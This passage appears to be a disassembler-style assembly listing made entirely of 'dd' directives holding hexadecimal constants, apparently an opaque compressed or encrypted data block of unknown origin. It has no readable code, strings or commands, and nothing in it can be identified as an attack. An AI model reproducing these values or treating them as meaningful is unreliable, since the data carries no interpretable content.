1124A267h dd 6843A072h, 3E9C4002h, 3D206B37h, 0C1A64309h, 0C5850241h dd 0F8045952h, 10D3C7BAh, 0E24CC71Fh, 2521D0h, 661D64Eh dd 0FDE63AF1h, 223B093Ah, 0B6900075h, 0A69BC7DBh, 25FA8938h dd 39DA5906h, 776116BDh, 50C40072h, 0C9712E7Ch, 70748EC7h dd 5B216961h, 7CC0C451h, 0EB64043Ah, 8014E60Ah, 57227F10h dd 58A08A70h, 0E4827E5h, 0EA440010h, 86FB9331h, 870C005Dh dd 0CD9FD1E8h, 81606602h, 0FD47B831h, 0EF40C301h, 187484E3h dd 0BFF99400h, 0D0CB05F8h, 0BDBE023Eh, 0C431E2F7h, 0DCD88CA3h dd 0CCF431C6h, 0C3BF0414h, 7AB200E2h, 3234387Bh, 0E6277445h dd 473B068Dh, 41626D51h, 7B2E507h, 6E90DCE2h, 0CC5B44D0h dd 8217908h, 5707C824h, 569D9700h, 711876h, 5BE843Bh, 0E2A198E5h dd 0B4B852h, 0F172B59Eh, 46B423h, 55A93132h, 0FD965EDEh dd 507AA9C0h, 3BE387CAh, 0C9601509h, 58DA1980h, 0F004A4A2h dd 0D64B6064h, 0B906105Eh, 0BF22C83Ch, 50D65383h, 83F70CD1h dd 0C4CBCAC7h, 0DD9440B5h, 0B7E84DE2h, 0E838482Ah, 0C7E3B200h dd 0CC7D7534h, 5D7601A9h, 0F04D3032h, 0C3EBF47Fh, 6641DD62h dd 0E298905Bh, 0E7C20157h, 0BF48E3ECh, 8DDCFD49h, 9138806Ch dd 31847AE5h, 0F061964Ah, 0A6EEDE87h, 0DDAFC103h, 0A316A55Eh dd 8AF81024h, 0AA428457h, 54D64D30h, 7CF00668h, 45072191h dd 1030DBB5h, 0E261AE0Fh, 0A1A06C02h, 0A471BCAFh, 748B5CB8h dd 5CC17FC8h, 9ACCB992h, 0E7620581h, 88F938Ah, 618A71A0h dd 8308EC33h, 0B4E58C76h, 0EA00C099h, 2B3F110Eh, 0B810B728h dd 0E5250082h, 0DC4EA694h, 8036FCFBh, 46F83153h, 0D64C0237h dd 0B1A10633h, 3E1079F8h, 2B00DBB4h, 147525CFh, 0CA76B8Fh dd 18BCDE3Ah, 32070BA1h, 5D685817h, 0E70FE0C1h, 60E56024h dd 619549B1h, 0FCF76D08h, 40012753h, 6664B358h, 0BC014742h dd 0DB51808Fh, 1ACE4F81h, 0A740009Eh, 5E2CFF96h, 8A406E9Bh dd 0B7850A44h, 8388E5F0h, 0AD22DEA2h, 15E9E1D8h, 8917D33h dd 0C021009Ah, 0C63B2236h, 9704130Fh, 85302E70h, 0DC084094h dd 0C45AC074h, 0A6217C4Dh, 38869170h, 1FC38392h, 0A95B06A7h dd 836A3AD4h, 30C95CA5h, 0B2599C35h, 7693EC47h, 0DA44E700h dd 249702F1h, 25CD4E75h, 0F7002866h, 3C15E6B5h, 389FED94h dd 88065C8h, 3B2477F6h, 5B05DCC7h, 6209E912h, 0F5E9842h dd 600F0901h, 84206389h, 1A69D425h, 56D3A02Ch, 817E7100h dd 0E089EBF2h, 0F7B509D6h, 0A011A37Ch, 9B0310C8h, 0EE3A04F3h dd 0C270767Bh, 0AC304B60h, 0DCE81107h, 807788D2h, 0DE07CA06h dd 0E326A16Ah, 71409C38h, 907DD24Ch, 56D84C30h, 0B2001C52h dd 0D46DE84Bh, 34B18334h, 0B2187679h, 96A90F00h, 5325713Ch dd 3C5050D2h, 60D40F6Ch, 0A41EF306h, 0B81A4044h, 1400AC56h dd 1B9CFCAFh, 2616C613h, 88F81FBEh, 250451EAh, 6E40E7EFh dd 687D6705h, 472CD700h, 46BA726h, 0FAECA09Dh, 0EC560F6Ch dd 0DC005D34h, 20D9FC80h, 0A4E51B24h, 536E840h, 57E600A4h dd 83560F86h, 0DF00153Bh, 0C0B5ADD8h, 268AC1C5h, 96D48D69h dd 5C5420BCh, 9D00D822h, 94AD177Fh, 512D69h, 0C6882F7h dd 8086C048h, 7A466492h, 4BC43402h, 0B4C7367Ch, 894CB409h dd 5CB58050h, 4D6427Eh, 0A8A7E063h, 8E0855Bh, 3CC1B5B4h dd 91EDBF22h, 0C2889E18h, 8C221D74h, 94B58236h, 0AE80B26Ch dd 21482ED4h, 547F8E29h, 12188A79h, 21B6CD01h, 0B7DA8BAh dd 5AE78D0h, 0D522459h, 799C82DAh, 5D666221h, 0A40424h dd 0B3E77DA1h, 27102436h, 0ECE30C1Dh, 665C5383h, 0A529005Eh dd 91C37C71h, 0F1071AC8h, 0D9ECCBEBh, 0E55EA430h, 0C0CDECB7h dd 790B9BE9h, 300759Eh, 0ED8134Fh, 1760A957h, 2AD4D1Ch dd 0F0704840h, 8611789Dh, 63740493h, 5E89477Eh, 30818B66h dd 1319B3E5h, 2900FD92h, 0E2E4760Eh, 1C4EA1E7h, 0B577A9h dd 0DB9F9C86h, 5329852Eh, 0E287E4EFh, 41B4A922h, 0BC207962h dd 726227Ah, 0C8811FAh, 0F5AB4044h, 13546639h, 1F00F098h dd 4DFBEB08h, 756D15BAh, 97510359h, 69B29068h, 0EC4162D2h dd 42A1861h, 51065DD6h, 277B323Bh, 74D63044h, 3800370Ch dd 499E18D0h, 493050D9h, 784974BDh, 45941424h, 0BA9C4021h dd 0F0EF0CF5h, 0B83A2626h, 9D76D200h, 9E904CDh, 1B744A94h dd 0FD8D9818h, 0F7C57D39h, 0D608899h, 148F54D3h, 0BC8AD98Bh dd 0BB80BA88h, 4C28A74Eh, 628E00E8h, 843A74CDh, 3506CE32h dd 6721F4A5h, 0CF520299h, 692A59C4h, 197984C0h, 164474EDh dd 67005491h, 58459C65h, 4D4E0349h, 1DF98315h, 2BF2297Dh dd 0FA7A5300h, 0C60B2E45h, 0C240271h, 227C0FC4h, 79C96C20h dd 588E802h, 100A4FD4h, 1E048068h, 0C9C0FADCh, 40D7730Eh dd 0F4824CC0h, 0AF005023h, 6ADCDF07h, 76458686h, 6CC8C5F9h dd 46ED39DDh, 0C306FA85h, 748C4350h, 40BB62B4h, 286EB2E0h dd 0C1F42707h, 81F34B71h, 0B82900EDh, 83C65B96h, 7D0A75CDh dd 0EC55B59Ch, 248B608h, 83F2ADFAh, 0B9E1440h, 0C7003AECh dd 506DE9E0h, 16674A0Ch, 1C11944Fh, 70E58671h, 4D010856h dd 0B46EC666h, 30BAE94Fh, 14628018h, 0D970E224h, 96633300h dd 8C5DE11Ah, 0BD5901C7h, 736BBC56h, 0A5108389h, 8F5E0DB2h dd 0FAB80150h, 8480181Ah, 4FE79009h, 3C55A90Bh, 0D45C8023h dd 6BDC85h, 4E526E84h, 0E647BDE3h, 8FAC2CF1h, 0E58E4041h dd 3AE1486Eh, 0DE3D8128h, 5D616781h, 0F0327842h, 25F8623Ch dd 27763E01h, 4677F35Ah, 0E886FDE0h, 0F710C031h, 726DAB93h dd 69E85C18h, 4260ACh, 6624EA2Eh, 0D0E5D961h, 598F4303h dd 0C0E127D4h, 694F180h, 0E0EC6255h, 0E9030805h, 0CEF75D24h dd 0CF49E042h, 0C57DE5h, 7A5E3FDEh, 9D683E59h, 43D64AAh dd 0F6EFE177h, 51080ADh, 75FBF9A2h, 97FA0086h, 1879217Dh dd 84310A85h, 0B1AC18FEh, 135EB870h, 0CE7DDE9Bh, 0C079C878h dd 0D2580569h, 46275E00h, 26AB70EEh, 9F130BF8h, 1A80C780h dd 47D4D50Ch, 8B20C200h, 0FDC58676h, 828E165h, 23102F5Ah dd 485A0276h, 707AEEE5h, 17232F00h, 0D25DCBEFh, 0EAD800CEh dd 33958728h, 75026425h, 0B807FAE8h, 5D888026h, 61864832h dd 81FDA8BFh, 6618387h, 0EA0DD90h, 0D59FE3C1h, 24A7AFAEh dd 0B2EBD452h, 3080E238h, 0DD27B46Bh, 0E54CA56Fh, 0EE00D85Eh dd 8A2C954Eh, 84ECAFh, 0B8B9CADEh, 6BA50B32h, 8998380Ch dd 0AA790E9h dd 0F9140A4Fh, 0A01727E4h, 19807991h, 0EE117C25h, 0E865C38h dd 6A9AFCE5h, 0DE968C83h, 0AB9488h, 0E1CFF704h, 8BEB3D7Ah dd 0FD0658B4h, 18C19A80h, 3173FAB8h, 0A0409DFh, 868BC721h dd 2894F5h, 8C11BCh, 1522CE06h, 3378D71Bh, 0F408625Eh dd 0C481CF3Fh, 187E7C4Eh, 4B55886Ch, 7AB2C400h, 7E519182h dd 8869526Fh, 39926C00h, 0C92D2E7Ch, 9CE65B00h, 4B7EA583h dd 0A68C004Ah, 6D12EC23h, 349272DCh, 49B8620Ch, 0B0F6115h dd 86C9367Ch, 0A454C040h, 0A7254D3Fh, 0D6AC264Ah, 2D852D09h dd 8195B8A0h, 8A7048A8h, 68028C7Dh, 0A9988470h, 7DF48074h dd 0C0451181h, 5BE59320h, 0F81F84D3h, 0C7413137h, 14A13F1h dd 59857884h, 6EE0808Fh, 0AE516008h, 0CCB841E4h, 66C40016h dd 45EC3DE9h, 909EC8D5h, 202A9AF7h, 4670C47Bh, 78C864A1h dd 0E71CD8B6h, 0A3B2223Dh, 0BBC43909h, 0E1223F12h, 502DA505h dd 198F8841h, 0D0921136h, 6AFC070Ch, 98C8C492h, 0D6084FB4h dd 0C4590632h, 0B747407Fh, 79180DBh, 0AE303A5h, 744CCB12h dd 0EFBFE91Ch, 0F76CE2C0h, 14A8D3Ch, 0DCC46561h, 549D3032h dd 0DAEC04C0h, 44930A63h, 764656h, 198C264Bh, 70E79269h dd 0B1BF1285h, 8D88214Dh, 8BE0C6Ch, 42DC3607h, 44310C4h dd 4DF00764h, 9D07164Eh, 0E52AF113h, 3BB8C429h, 0EE83CC47h dd 0FEBC8318h, 0E5AF101h, 95441EF7h, 526ED8h, 66629289h dd 75D87086h, 1078094Ch, 7124E351h, 0B1E907F0h, 1EF6707Dh dd 0FA09EC63h, 0A1CE117Fh, 965E7510h, 623C1469h, 6D025300h dd 0CEDC4DE2h, 47FA19C0h, 1C59E563h, 0C291E8D5h, 0E67C246Fh dd 5746FCD8h, 3C07A802h, 1131B2DCh, 7CBA210h, 673C2F00h dd 2182393Dh, 6D7907EDh, 405CC27Eh, 0E2F91996h, 4C888948h dd 402C3F6Ch, 2231787Ah, 92798FF4h, 89DAC0C8h, 7898CDE3h dd 1CEC3EFEh, 0E6DF6003h, 1052AC03h, 86929BF0h, 997466h dd 0AC2BB6B9h, 91C8D72Ch, 0DB9FFC00h, 543C290Ch, 0A761094Bh dd 453836Ah, 0E250D558h, 4D1E00AAh, 0CE79E9EAh, 0CB280FDCh dd 0A509C489h, 342B019h, 302BCE0h, 60AAF4C1h, 74D017C6h dd 35019618h, 0DE992DBFh, 220FA33h, 835C0CD8h, 0E548CFB1h dd 5179B767h, 0B0C18F90h, 0D16F1D84h, 0AE9D71h, 0E33DAB5Eh dd 0F9CFC9FDh, 0E179A025h, 91861ADCh, 1875D1D4h, 65B00211h dd 0BCC43C51h, 0FB03A864h, 5D61607Bh, 2590C0A1h, 74C90CEh dd 0B8AC8183h, 8B93057Fh, 0C076C8C0h, 4D74CF99h, 45830D25h dd 6075C450h, 0FC826F5h, 0CAA22DDCh, 0F0908269h, 561262DAh dd 0C8B22C6Eh, 603277F2h, 95E58C43h, 0E7CFBCA0h, 36001FBBh dd 92DB4FFh, 2D4F8F1Bh, 0F4970D45h, 2C806C91h, 0CD88E1E5h dd 44E38F13h, 0EA10F83Ah, 0BBBFC051h, 1CBD7E5h, 0D2B8485Eh dd 326F4D90h, 58CD2C98h, 190374Bh, 0B99825C4h, 64518497h dd 0C0C003AEh, 249B5C3Dh, 258B821h, 7BED954Fh, 30E40E61h dd 870504ACh, 400B7173h, 838034DBh, 0F8D7E44Bh, 82183300h dd 84F4D832h, 80E95471h, 7AFD1A75h, 40B7B115h, 45AF6780h dd 632668FCh, 0B535D862h, 2FE73AA8h, 0EAC33E01h, 8CE5175Eh dd 0DFC13980h, 44E91F31h, 3D348F00h, 7AAAA8B5h, 6B7E0127h dd 4C4014B4h, 525AD0B8h, 0CA4D530Ah, 0A20120E2h, 3D193A4Ah dd 165580D0h, 8772436h, 0E1C1B8D8h, 99EDB022h, 0C1889518h dd 0A9220039h, 0DCAF743Eh, 98140599h, 2CD4E5EDh, 0FD031879h dd 968E1116h, 0F15E18D9h, 0E56241FFh, 0FC092402h, 0C157CED0h dd 0B5C82520h, 0F8942561h, 4124E027h, 40ACD4D8h, 9D3872F3h dd 5A76F607h, 52C025C1h, 9758F5DEh, 1283F4B5h, 0E395756Ch dd 7187D857h, 94289980h, 0D00A8E5h, 70B76EDEh, 1624D90Bh dd 5B120056h, 3AB0B8E6h, 0C12CF9ACh, 0A20FDD47h, 0D401D389h dd 796B0FE0h, 0B817E2A5h, 26817691h, 720D37E3h, 44863A6Ch dd 6E80005Ch, 9304BBA4h, 5400CE1Ah, 0EFF1B558h, 0FEFA8DCCh dd 8B5A4B80h, 0CE6E8844h, 411ECD0Eh, 0EBD68C5Dh, 84902358h dd 602620Bh, 0A4E95FE0h, 38002F82h, 0B5DE2A22h, 937F27F7h dd 24BCAC48h, 0D0C369C0h, 6F6A64h, 95395363h, 111F3654h dd 19A63A02h, 40DC4F85h, 28A56D60h, 98A88F5Dh, 8BC9168h dd 0C9606C92h, 5CDC3D07h, 5E0285Ah, 61000737h, 866F233Fh dd 1350EEF4h, 0A4985EDBh, 0FA1905FCh, 0F5686771h, 75444FAh dd 786CEA02h, 0EFDAD02Ah, 510CB292h, 0E0DB60A4h, 60AF4568h dd 0D091378Ch, 5DB008B1h, 0C884D421h, 1176C0Dh, 7AEF97E0h dd 0D02318D9h, 90338BA2h, 2721DE3Bh, 64107B02h, 0E8418BF8h dd 48E07C31h, 0F476F324h, 8C737050h, 2AC45F04h, 1CAC5E7Ch dd 0C457B1B0h, 9F8F743Ah, 7E380BE2h, 0D207F818h, 4E65FD58h dd 0A79CCC76h, 0C020CF4Ah, 0D7AC71h, 510B9E5Bh, 0BA1F06B0h dd 4304EB01h, 0E8D99ADEh, 6F16D980h, 0D7ADFA25h, 40682400h dd 57E953FEh, 0FD20C573h, 2CECC284h, 4451C46Ah, 0E6187479h dd 0D0041E4h, 259869D7h, 448E197Eh, 2B4AF85Eh, 69A78C00h dd 7EFCCCC2h, 5E689C75h, 602E0B46h, 95090066h, 4F06AEC3h dd 842E404Ah, 0E5000B23h, 10F50C96h, 726303BAh, 863AF10Ah dd 0B7D2D903h, 0C4FCD546h, 0C4C040F8h, 0D94CF169h, 5B2BB802h dd 402534BCh, 14FAE750h, 0D4CDEAB6h, 0D50531C0h, 0B0756481h dd 0A607100h, 9B0245F2h, 754D0FE2h, 0D2C62A3Fh, 0F96470AAh dd 0FCC8EF39h, 476705B4h, 0CE2E0233h, 52118438h, 46DEF530h dd 0C2FB7802h, 4463A83Ch, 376C04F8h, 40C76D62h, 5DD5E728h dd 50200954h, 0BC224DDFh, 5C4846E2h, 0E6046CFDh, 3D5ED5FAh dd 95D944B5h, 0FEB102F7h, 579E482Eh, 3691745Eh, 4FC43880h dd 8C91567Ch, 0C45058C1h, 0CE84E0C2h, 88C0F5E8h, 3511EE35h dd 0F010FF1Eh, 0DD0486ECh, 0CB6301F5h, 68CD14CDh, 0B82CE869h dd 0F0025BECh, 0B11EE516h, 56E4CA72h, 76465CB8h, 46EDDE1Fh dd 0E8799BF8h, 0C267DF04h, 4F41644h, 0AB048C4Ch, 0CADCE307h dd 6209A338h, 807FC807h, 0D42A74BEh, 5C663709h, 3C471321h dd 0AB827080h, 0F3F4BA16h, 0C6FD1C08h, 1097F9BCh, 2FF9BA8h dd 25C91BAAh, 1CCA98A7h, 19809839h, 2A0820A0h, 74F04DE3h dd 0DE692E25h, 0FB4AC4Ch, 0D0121949h, 0FBEFDC84h, 9062B740h dd 806B7CF8h, 87507CFDh, 2491E030h, 0E56AA700h, 0B9FC7D5Eh dd 0D4503070h, 0BC48755Bh, 3DC48084h, 7C9DDBFFh, 3AB03C1Fh dd 7C352Eh, 0F44CE34Fh, 8E0195B2h, 9A0A69D1h, 2C338B62h dd 0C51EAB1h, 6797000Ah, 95DE9E4Eh, 474BB80Eh, 0F98FA841h dd 4822E7DDh, 6DDA5909h, 0C4556C30h, 8E7C4C08h, 43886470h dd 0F0C38D87h, 9FDCF5D5h, 0B1B9C810h, 42BDE301h, 39E990C7h dd 48201AECh, 14052474h, 41EAB0Dh, 0FD65EFACh, 94D700A0h dd 54E24766h, 0E414019Ah, 0DCB7FD8Fh, 9659BB8Eh, 2020DB49h dd 2DD3AD24h, 28801D2Eh, 5400FE2h, 5A887660h, 0B42415Bh dd 52219832h, 3FDB7423h, 344EF1AAh, 74E86514h, 7DB584FCh dd 8C4000A2h, 649416h, 0DB685204h, 69C00E97h, 1B59C566h dd 58CF0094h, 856B4B43h, 8124F09Dh, 7300EE4Fh, 46452671h dd 95E300FAh, 934B2C4h, 790E84DBh, 81BB2329h, 785D9FD0h dd 0F27FB60h, 5CE0D4E4h, 0B53E3100h, 14027D76h, 0F7D8CC9Ch dd 0C3E58E59h, 0B8924CB2h, 0D6EA38h, 3C7E34DCh, 5FF785BEh dd 0A9840C00h, 256F4BFh dd 87040138h, 0D806D31Bh, 3C0C3C71h, 6E840BB0h, 112C9DADh dd 5D6F8079h, 0EECA58h, 0EB05C316h, 77E0CDF4h, 0F894914Ch dd 33078C73h, 0D1378FF4h, 7C7520A0h, 8879F753h, 0FE007B3Eh dd 33903CB3h, 581E2830h, 0AF40090Bh, 480C6641h, 0EFC640E8h dd 5BB19060h, 7D82DFC4h, 0B4A909E0h, 7481F633h, 43B580D0h dd 7CB86F92h, 40B4650Dh, 2479465Eh, 7D00E0B7h, 4F71D3C0h dd 6A80281Ah, 0A72403B4h, 12229FE3h, 0AEC65CC0h, 48845D04h dd 28D1C9F4h, 0DD107E62h, 0E30CE81Ah, 40737C09h, 0A45852F7h dd 45306EF2h, 40DA00BCh, 3361512Ah, 0B11273DDh, 0F802FDA6h dd 375A80E7h, 0CC749600h, 8814E1B4h, 5D5FF947h, 907E1803h dd 0C78180CDh, 83B82607h, 0D21745Ch, 11878052h, 5E49563Bh dd 11D27C2Dh, 7810C7B0h, 0BD010907h, 69590EE1h, 0AECD41Ch dd 9C1951E8h, 3600B823h, 8E88A053h, 0DB144092h, 16C018ABh dd 0E87B9504h, 69799603h, 0F812108Ah, 34CB40F7h, 0ABC07988h dd 2C7D5342h, 0F901D18h, 69E425E5h, 0C008F985h, 0FB1541FAh dd 67D304E3h, 9490E01Dh, 9D90330h, 0A14C35E9h, 144F1773h dd 683A28C5h, 13007623h, 6680736Ch, 0A719C05Fh, 740A1ECFh dd 9E109100h, 137AEB3Ch, 928F0B81h, 2C10BDE4h, 400B41F1h dd 0C61158F9h, 0AAA90000h, 0E37C327Ah, 0E95DFACDh, 97DC81B8h dd 0C608759h, 88385C7Ah, 23F43A5Bh, 69560121h, 815A2C7Ah dd 5D7328CEh, 0E02D9B5Eh, 1A683662h, 0F044A08Bh, 0D361B100h dd 0D8870EA4h, 923712D5h, 607C887Ah, 5F980300h, 2F294D64h dd 6CE80435h, 0B00BD33Ah, 3901ACE0h, 652A924h, 0AC3136C9h dd 3B0CEFD9h, 0A3AE223Dh, 9011E9h, 7C226F87h, 60BC625Bh dd 0F6FA998Bh, 2900402Eh, 0DEC00F34h, 1ADA058h, 4A1D121Bh dd 20ABAE20h, 0F0964777h, 48753042h, 0BB67EBC4h, 7154A924h dd 0EE29180Dh, 0C0D62EB5h, 6C02BA54h, 6DEDD3D4h, 0EEE990C8h dd 2CB00454h, 330309E8h, 0E3E4C1B0h, 6DE82963h, 1895D188h dd 594A012Dh, 0B7A8C951h, 5B607D49h, 0F423EC80h, 338B00DDh dd 87E1734Eh, 93485598h, 10020124h, 807AF248h, 0C50B1C32h dd 8E47FD5h, 343B7BF1h, 0CB027923h, 5ADCD865h, 0F8AD00A4h dd 4C6DBCB7h, 172F4B5Fh, 37C010DEh, 670A0057h, 3C294415h dd 81044A45h, 493F48DDh, 0D604E4F8h, 0A868FE25h, 0C0470BEh dd 8101B598h, 0D41FF0ADh, 0D8E4A97Fh, 8651EAh, 0C8DB3F49h dd 398B9560h, 0C1E4B84Ch, 0FBDE0C0Fh, 0FCDD80DBh, 530D5C82h dd 56A41819h, 62DAC0E1h, 0FFD43409h, 1C2CB740h, 7A944015h dd 51998D2h, 5DA3D8C1h, 298F6066h, 8FA76B5Fh, 977CD0EAh dd 3E7B73BEh, 2B0D558h, 37E90AB7h, 426C71FEh, 730BFDBEh dd 8D5378A8h, 23641F98h, 38F4EF19h, 4F3800C0h, 90886C1h dd 0FF0128D0h, 0D164AADDh, 0D6D00EE9h, 4BD8AAC8h, 4048985Ch dd 29F0B19Eh, 0D99886CCh, 423F189Bh, 44CA4AE3h, 3234007Eh dd 29756CEBh, 360451A3h, 7E55C8BAh, 4E32CD1h, 8070226Fh dd 952F80FBh, 80229128h, 69F923D3h, 0B1BA095Ah, 507168F8h dd 2FB76E01h, 1028B485h, 0AC2235C3h, 0A07979DAh, 226DBD60h dd 0AB630082h, 2526A1BBh, 0D70BEFBCh, 45596E84h, 606EC42Ch dd 265BDF9h, 22379178h, 70565416h, 88B06D43h, 53EBD26h dd 0F66797E0h, 0E820BC77h, 4C0B8C90h, 95EC617h, 8EC59F1h dd 0EF8C4745h, 7CA819CCh, 372F0001h, 7089535Eh, 4A7DCF2Eh dd 905A6312h, 42C788B0h, 0C6661397h, 2E486491h, 258FAE4h dd 0C383165Ch, 40792B82h, 85107E1Ch, 72619F51h, 0C582FC44h dd 995C6C30h, 19287190h, 2DA6D0h, 8ECFEFE8h, 0FA898594h dd 0C5D80B95h, 6179C460h, 0E060319Ch, 0B6287DEDh, 18E77454h dd 2248983Fh, 0EB097444h, 0AAE80660h, 0FD76EC60h, 9903AD18h dd 7C5E8779h, 0E57119E4h, 0F40FC186h, 0E949CAEBh, 935810A4h dd 0CFCE512h, 75D025F0h, 0A6DCEA01h, 1E0B7FDh, 0E4EF6192h dd 6D985468h, 3E77A3Dh, 1DE8D6FFh, 4ECAD3BCh, 0B1748720h dd 2AC2197Ch, 98DE4C0Ah, 4B79508h, 88BDBC4Fh, 7D39B330h dd 8E0B0012h, 50683186h, 0F1133921h, 0F462B612h, 8B07FECh dd 6123C420h, 480C4087h, 4043A04h, 0B880FCD8h, 0C0C37008h dd 98886268h, 0A29559C0h, 0C1F1C19Ch, 9C207584h, 76FF0016h dd 0F8879218h, 28C090FBh, 24B90CF1h, 0F1D160DCh, 0CD11E4F9h dd 0D51D5300h, 7867EABCh, 491010Dh, 0D2811C23h, 9CA8A860h dd 90B28F44h, 35E92064h, 0B1802405h, 88FC54F1h, 68C76ECh dd 0D9825D33h, 9D019996h, 64AD318Dh, 21C48ACDh, 3BE6F0E1h dd 0F7070FF1h, 62E0D655h, 888922AFh, 0E5706CDBh, 9260F56h dd 3125CA6Ah, 6CA3C6h, 0F29625FFh, 753A13D2h, 98C613D4h dd 67280884h, 9009E38Bh, 0E407DC48h, 690C07Dh, 87FD30CEh dd 0E116609Ch, 0C5DE8E0h, 0A270482Ch, 4F7F7818h, 0A59F242Dh dd 0B0E94450h, 51008DACh, 32A5754Eh, 39281AC9h, 7B25B2E0h dd 2F9CACC0h, 9E79D8B9h, 35007518h, 0B04BF8DFh, 18F14AA0h dd 0F16131E5h, 6C99D25Eh, 2090C284h, 8D8F2D04h, 0E42B3AF4h dd 0B3007323h, 0B78AEE8Bh, 4F3409F3h, 54549113h, 84F6AF40h dd 44F093h, 2CBB7A6Bh, 46DC7E77h, 68C4B626h, 12A02340h dd 48140309h, 0CAC9DF15h, 117B2DD8h, 8A84E700h, 105E0A0Dh dd 0D4F45448h, 6F5CA747h, 84978ED1h, 38C1033Ch, 69008A44h dd 3F2DEC32h, 8FC1D76h, 67605278h, 6FE3A7BFh, 248ED90Ah dd 0FCEBDC84h, 8C7FB8A8h, 37BB2712h, 40A4FB17h, 0B71400F0h dd 0EF2363BDh, 0BE00D5F1h, 1EA926Ch, 22E0B4ADh, 0CB0086BCh dd 3097E1DDh, 1A99463h, 9872E53Ah, 0C078338Fh, 825ECB6Ah dd 0C1B8D882h, 3910FC1Ch, 2025C0FEh, 4728C010h, 681C21Dh dd 6466B748h, 7CDC9E4Dh, 8C92E276h, 8537B339h, 2E197422h dd 1A206F86h, 38766D30h, 11F6E466h, 0DFC93300h, 57A15A3Ah dd 0F15D00E9h, 3B355B38h, 184F31FDh, 225ACC0h, 89876F63h dd 9CFFF802h, 98F6D710h, 0E0CE0BA8h, 0F4918ADFh, 86000B4Fh dd 2AEB03F4h, 45017262h, 57DD2EBFh, 3708B520h, 265CC744h dd 8E14299Bh, 50698846h, 7F913C1Fh, 0D8ACA180h, 110FFACDh dd 0CC90326Fh, 0EA76B09Dh, 0DCC5442Ah, 8C430F12h, 7E0A4C42h dd 0E14CC308h, 426B917Fh, 5CC4E520h, 0D1EFECE5h, 0B6B37587h dd 7F276863h, 733C6C86h, 0AA3E00D8h, 9EF701A7h, 8D015BD3h dd 0D505FE46h, 0B2B367Fh, 0A8027834h, 0E3021E19h, 1D5C7A32h dd 9D817E25h, 1C48B8EAh, 0A7E9C030h, 0FB039E62h, 0DFB808C8h dd 0B2990119h, 7E27DE3Ah, 1B44D03Bh, 9D09860Bh, 68298A3Dh dd 5001A02Bh, 410637D6h, 4AB0483Ch, 0CB00DBB8h, 407782E3h dd 0B1363Ch, 0C7254D80h, 0F4277BD7h, 43E2C200h, 3416D3D4h dd 0BC9D9F69h, 0F4807891h, 0B6817CAAh, 32E04E90h, 7D2E4818h dd 184FB2F0h, 6003C41Ah, 0C04D07FAh, 405D2538h, 0B2B28148h dd 856610DCh, 0C6C3E47h, 18748A69h, 3B510B0Ch, 589439CEh dd 0FA800AE8h, 0ADC12D97h, 680C2CCAh, 89426D18h, 9692B810h dd 482744B3h, 0E465CC89h, 5809B84Ah, 5AFC346Ah, 71EC6B59h dd 924DFD25h, 79A07980h, 4DA1878h, 2EE3A6FAh, 34BD4A0Ch dd 3C4A1900h, 0D7B1C4h, 5B27CFD1h, 0CEF5DD64h, 1C7F7700h dd 794D582Fh, 20EA4AD4h, 0A140F00h, 0DEEC7841h, 5251C917h dd 9FE47465h, 0E32F1761h dd 330262E0h, 81F7980Ch, 30B8F98Dh, 0B26170DCh, 0FA39E55Dh dd 1880A47Fh, 1B890485h, 0E2EB08Ch, 0A739E119h, 737F420h dd 1A1FD380h, 5C844A9Eh, 1890BF66h, 0DD7ECAh, 1BEE5E1Fh dd 9D9A1A03h, 0F9704600h, 1D1082FFh, 2770067h, 0E8656DE3h dd 0CE00A772h, 70B938AAh, 77936D0h, 0D16EC05Fh, 1818CF26h dd 0C8055110h, 864B7868h, 6B0206Dh, 67A51D41h, 52B8E274h dd 3DEADD60h, 3AC2E42Ah, 0FCC61Ch, 0E76C37C1h, 0DF17232h dd 0A4B47B02h, 94E271FEh, 804A6120h, 46F035Bh, 0E251420h dd 14883735h, 0FF10C006h, 0E6009C28h, 24B127BEh, 5C7FC2h dd 0E11EA936h, 0DCE25022h, 81834ABh, 0D4C063A2h, 0C880AD86h dd 0E8F47CA0h, 0C500CE79h, 0D3E19615h, 4B361DB6h, 0C4DCE20Fh dd 0ED00617Eh, 868DF2E1h, 0C603BC00h, 0C6F6E81h, 0F0774CA2h dd 53A98303h, 0ED9BE602h, 0C5DF2911h, 11A79F11h, 0D028C217h dd 14FB5028h, 0BBA54468h, 14C11084h, 0AEB71191h, 21A3E511h dd 0B639040Fh, 0AD130492h, 44F10644h, 2844C353h, 51AF4CB8h dd 754C5C79h, 2D118F07h, 63B47137h, 0BCD40F5h, 43726F09h dd 8FD6713Ah, 0A0E711C8h, 2A94E9Ah, 2280002Ch, 4F726442h dd 0C30092EBh, 5C0A6B33h, 0B7E4CAh, 6026227Dh, 27178EBAh dd 821AEB3Ch, 83849B6Bh, 0AFDDC065h, 0A9100F0h, 50B669D8h dd 0C100611Dh, 0DC4AAB72h, 2329FDh, 670C1A32h, 5B5EB1DFh dd 0D1F0AC00h, 5436924Ah, 0EF72007Bh, 17761EC2h, 4D00875Ah dd 0B4836258h, 0F19A8B5h, 4C6F5710h, 0C05A1587h, 65B156C7h dd 0F8C3C000h, 7631093Ah, 117000A6h, 86A51CD2h, 0F7009B3Ch dd 0B63B4D1Bh, 34C6C7h, 27B7C5E2h, 8819D76Ah, 6A545230h dd 3E99CE6h, 7BDBF1C2h, 11F26DB6h, 6EB0805Dh, 0F2839B8Bh dd 48FB000Ah, 2F77AFADh, 0E00A30Dh, 56243DE0h, 9783659h dd 7B0B8CC6h, 64C3D281h, 0AAE0DC62h, 0C0188B14h, 0A8660090h dd 4FEFFE86h, 0BED0090h, 4AAF52D0h, 0C700079Ah, 0EE789CCAh dd 2060ABh, 2B83B8A8h, 0CC7529B6h, 8E0A34Ah, 218600CFh dd 78D994D6h, 9501A1C2h, 1C41A8BEh, 0CAD48460h, 0BF6A3FACh dd 0AE291D07h, 38B7700Bh, 8600C6E2h, 90DF164Dh, 604363F6h dd 3D547884h, 3C1F12ABh, 1ED3CCB7h, 0E23093ECh, 0F0D74930h dd 6C92B12Ch, 778BC680h, 0AA7B9Ch, 0BEF6B41Ah, 0D979767Ch dd 8E42D201h, 0F5387DCEh, 5C7BD1F0h, 3600A98Bh, 0EF772120h dd 4C007EE0h, 15C74BA4h, 79EE9C54h, 0EA017BC1h, 0EACA007Dh dd 2C1FD283h, 18C04B79h, 0A9E4ADE5h, 0C1FD00B9h, 0BA0C1535h dd 0E100063Eh, 0CFB088F9h, 13DCDFh, 16C604B4h, 0B13E7768h dd 67647300h, 0FD127A4Fh, 1E360763h, 2FF6A9D7h, 0FB72A840h dd 0DC008BEAh, 67632A93h, 1EA356DAh, 41F4B2h, 